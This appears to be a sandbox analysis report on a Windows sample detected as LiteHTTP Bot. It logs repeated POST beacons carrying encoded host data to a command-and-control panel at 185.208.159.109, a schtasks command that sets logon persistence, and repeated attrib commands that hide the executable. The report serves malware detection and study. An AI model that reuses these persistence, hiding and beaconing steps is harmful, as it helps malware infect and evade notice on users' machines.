Dec 17, 2024 10:22:29.597039938 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=Xfp4UHTAOzVRojl53ZnJ~DpOy/YqNSzD2TEmrgeCO8E=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:22:30.530515909 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:22:30.764267921 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:22:30 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49988	185.208.159.109	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:22:30.108968019 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:22:30.456639051 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:22:31.387343884 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:22:31.620615005 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:22:31 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49989	185.208.159.109	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:22:35.989118099 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:22:36.347067118 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=Xfp4UHTAOzVRojl53ZnJ~DpOy/YqNSzD2TEmrgeCO8E=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:22:37.269721031 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:22:37.504338980 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:22:37 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49990	185.208.159.109	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:22:46.135905981 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:22:46.487687111 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:22:47.413961887 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:22:47.648416042 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:22:47 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49991	185.208.159.109	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:22:55.120124102 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:22:55.472045898 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=Xfp4UHTAOzVRojl53ZnJ~DpOy/YqNSzD2TEmrgeCO8E=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:22:56.399256945 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:22:56.632327080 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:22:56 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49992	185.208.159.109	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:23:13.101975918 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:23:13.456403971 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:23:14.379671097 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:23:14.616410971 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:14 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49993	185.208.159.109	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:23:20.681636095 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:23:21.034584999 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=Xfp4UHTAOzVRojl53ZnJ~DpOy/YqNSzD2TEmrgeCO8E=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:23:21.092236042 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:23:21.449776888 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:20 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49995	185.208.159.109	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:23:23.353261948 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:23:23.706594944 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=Xfp4UHTAOzVRojl53ZnJ~DpOy/YqNSzD2TEmrgeCO8E=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:23:24.637139082 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:23:24.868328094 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:24 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49996	185.208.159.109	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:23:31.639780045 CET	218	OUT	POST /panel/page.php HTTP/1.1 User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3 Content-Type: application/x-www-form-urlencoded Host: 185.208.159.109 Content-Length: 471 Expect: 100-continue Connection: Keep-Alive
Dec 17, 2024 10:23:31.987653017 CET	471	OUT	Data Raw: 69 64 3d 2f 70 68 36 58 43 38 34 4d 55 73 37 52 77 41 66 79 66 6c 38 62 69 54 4a 73 56 5a 35 5a 44 71 7a 36 7a 45 42 75 56 45 67 6d 71 6c 52 6b 6d 47 53 41 66 38 4f 46 48 4b 6d 4c 6a 75 46 41 72 2f 54 55 6d 53 54 32 31 7a 7a 4b 63 73 50 76 36 49 Data Ascii: id=/ph6XC84MUs7RwAfyfl8biTJsVZ5ZDqz6zEBuVEgmqlRkmGSAf8OFHKmLjuFAr/TUmST21zzKcsPv6I~wPyDcw==&os=WmHrQQlULtaStm0L6iNTyQgU0WaTzr96fBueKT/QsXY=&pv=xVu0Qs2GDm9vhxVZdowHo65Cx6Lk570aXO~vR4zPdoU=&ip=B4Cj~hkuhtnFP5Gl58t98qcj6~0WK5UOkXwJgfNWz2ggnGKt3evR
Dec 17, 2024 10:23:32.917309046 CET	25	IN	HTTP/1.1 100 Continue
Dec 17, 2024 10:23:33.153312922 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:32 GMT Server: Apache/2.4.62 (Debian) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	04:19:07
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\DQmU06kq9I.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0x550000
File size:	1'763'328 bytes
MD5 hash:	D37DAB4C59E707F632BB0B91EAA87FF9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000000.00000002.4541067680.0000000000552000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000000.00000002.4552402541.0000000008C02000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000000.00000003.2061776239.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000000.00000002.4552122250.00000000087A2000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000000.00000002.4552952321.0000000009062000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	4
Start time:	04:20:05
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"schtasks" /Query /TN "DQmU06kq9I"
Imagebase:	0xee0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	04:20:05
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	04:20:05
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /sc onlogon /tn "DQmU06kq9I" /tr "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0xee0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	04:20:05
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	04:20:07
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\DQmU06kq9I.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\DQmU06kq9I.exe
Imagebase:	0x7ff632ac0000
File size:	1'763'328 bytes
MD5 hash:	D37DAB4C59E707F632BB0B91EAA87FF9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000008.00000002.4541316207.0000000000552000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000008.00000003.2654669900.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	9
Start time:	04:20:19
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\DQmU06kq9I.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0x550000
File size:	1'763'328 bytes
MD5 hash:	D37DAB4C59E707F632BB0B91EAA87FF9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000009.00000003.2782245640.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000009.00000002.4552478393.0000000008BA2000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000009.00000002.4541221969.0000000000552000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000009.00000002.4552255837.0000000008742000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000009.00000002.4552061627.00000000082E2000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	10
Start time:	04:20:21
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0x8a0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	11
Start time:	04:20:21
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	04:20:42
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0x7ff757150000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	13
Start time:	04:20:42
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	14
Start time:	04:21:00
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0x8a0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	15
Start time:	04:21:00
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	16
Start time:	04:21:07
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"schtasks" /Query /TN "DQmU06kq9I"
Imagebase:	0xee0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	17
Start time:	04:21:07
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	18
Start time:	04:21:19
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0x8a0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	19
Start time:	04:21:19
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	20
Start time:	04:21:29
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0x7ff6068e0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	21
Start time:	04:21:29
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	22
Start time:	04:21:31
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0x8a0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	23
Start time:	04:21:31
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	24
Start time:	04:21:44
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0x8a0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	25
Start time:	04:21:44
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	26
Start time:	04:21:50
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0x8a0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	27
Start time:	04:21:50
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	28
Start time:	04:21:56
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:	0x8a0000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	29
Start time:	04:21:56
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	30
Start time:	04:21:58
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):
Commandline:	"attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"
Imagebase:
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	31
Start time:	04:21:58
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
